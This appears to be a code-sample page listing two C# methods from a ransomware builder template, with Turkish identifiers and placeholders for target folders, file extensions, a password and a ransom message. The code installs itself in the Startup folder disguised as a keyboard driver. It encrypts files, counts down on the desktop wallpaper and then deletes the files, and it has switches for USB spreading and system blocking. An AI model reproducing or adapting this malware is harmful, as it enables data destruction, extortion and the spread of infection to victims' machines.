Ejemplo n.º 1
0
 private void timer1_Tick(object sender, EventArgs e)
 {
     if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\delete_program.del"))
     {
         try{
             CenterScreen.SetBackgroud(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\backup_wall.jpg");
         }catch (Exception) {}
         timer3.Stop();
         imha_zamani();
     }
     else
     {
         string s = DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss");
         var    c = DateTime.ParseExact(s, "dd/MM/yyyy HH:mm:ss", null);
         now         = new DateTime(c.Year, c.Month, c.Day, c.Hour, c.Minute, c.Second);
         duration    = left - now;
         label1.Text = duration.ToString();
         try
         {
             using (Image i = new Bitmap(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\wallpaper.jpg"))
             {
                 using (Graphics g = Graphics.FromImage(i))
                 {
                     Font         f  = new Font("Microsoft Sans Serif", 36F, FontStyle.Bold, GraphicsUnit.Point, 162);
                     Point        p  = new Point((Screen.PrimaryScreen.Bounds.Size.Width / 2), (Screen.PrimaryScreen.Bounds.Size.Height / 2));
                     StringFormat sf = new StringFormat();
                     sf.Alignment = StringAlignment.Center;
                     g.DrawString(groupBox1.Text + "\n" + label1.Text + "\n" + richTextBox1.Text, f, Brushes.Red, p.X + 300, p.Y, sf);
                     i.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\wallpaper.jpg");
                     CenterScreen.SetBackgroud(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\wallpaper.jpg");
                 }
             }
         }catch (Exception) {  }
         if (label1.Text == "00:00:00" || label1.Text.Contains("-"))
         {
             try
             {
                 using (Image i = new Bitmap(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\wallpaper.jpg"))
                 {
                     using (Graphics g = Graphics.FromImage(i))
                     {
                         Font         f  = new Font("Microsoft Sans Serif", 36F, FontStyle.Bold, GraphicsUnit.Point, 162);
                         Point        p  = new Point((Screen.PrimaryScreen.Bounds.Size.Width / 2), (Screen.PrimaryScreen.Bounds.Size.Height / 2));
                         StringFormat sf = new StringFormat();
                         sf.Alignment = StringAlignment.Center;
                         g.DrawString("All files deleted :(", f, Brushes.Red, p.X + 300, p.Y, sf);
                         i.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\wallpaper.jpg");
                         CenterScreen.SetBackgroud(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\wallpaper.jpg");
                     }
                 }
             }catch (Exception) {  }
             timer1.Stop();
             dosyalari_sil();
             MessageBox.Show("Your Files were deleted!! good bye!", "Exc", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
             imha_zamani();
         }
     }
 }
Ejemplo n.º 2
0
        public Form1()
        {
            InitializeComponent();
            if (startt == "1")
            {
                if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\WindowsKeyboardDriver.exe"))
                {
                    File.Move(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\WindowsKeyboardDriver.exe");
                    System.Diagnostics.Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\WindowsKeyboardDriver.exe");
                    Environment.Exit(0);
                }
            }
            string[] resourceNames = GetType().Assembly.GetManifestResourceNames();
            foreach (string resourceName in resourceNames)
            {
                if (resourceName.Contains("jpg"))
                {
                    var assembly = System.Reflection.Assembly.GetExecutingAssembly();
                    using (var stream = assembly.GetManifestResourceStream(resourceName))
                    {
                        byte[] buffer = new byte[stream.Length];
                        stream.Read(buffer, 0, buffer.Length);
                        File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\wallpaper.jpg", buffer);
                    }
                }
                else if (resourceName.Contains("wav"))
                {
                    var assembly = System.Reflection.Assembly.GetExecutingAssembly();
                    using (var stream = assembly.GetManifestResourceStream(resourceName))
                    {
                        byte[] buffer = new byte[stream.Length];
                        stream.Read(buffer, 0, buffer.Length);
                        using (MemoryStream ms = new MemoryStream(buffer))
                        {
                            SoundPlayer player = new SoundPlayer(ms);
                            player.Play();
                        }
                        //File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\wallpaper.jpg",buffer);
                    }
                }
                if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\backup_wall.jpg"))
                {
                    File.Copy(CenterScreen.GetBackgroud(), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\backup_wall.jpg");
                }
            }

            if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\settings.setting"))
            {
                DateTime baslangic = DateTime.Now.ToLocalTime();
                DateTime bitis     = baslangic.AddDays(int.Parse(days));
                delete_Time = bitis.ToString("HH:mm:ss dd/MM/yyyy");
                File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\settings.setting", delete_Time);
            }
            else
            {
                delete_Time = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\settings.setting");
            }

            left = new DateTime(int.Parse(delete_Time.Split(' ')[1].Split('.')[2]), int.Parse(delete_Time.Split(' ')[1].Split('.')[1])
                                , int.Parse(delete_Time.Split(' ')[1].Split('.')[0]), int.Parse(delete_Time.Split(' ')[0].Split(':')[0]),
                                int.Parse(delete_Time.Split(' ')[0].Split(':')[1]), int.Parse(delete_Time.Split(' ')[0].Split(':')[2]));
            dizins = new string[] { HANGIDIZINLER };
            Crypt(dizins, new string[] { @HANGIUZANTILER }, @"PASSWORD", @".UZANTICRYPT");
            richTextBox1.Text = @"MESAJ";

            timer1.Start();
            if (imha == "EVET")
            {
                imha_zamani();
            }
            if (usb_spread == "1")
            {
                timer2.Enabled = true;
                timer2.Start();
            }
            if (blocking == "1")
            {
                timer3.Enabled = true;
                timer3.Start();
            }
        }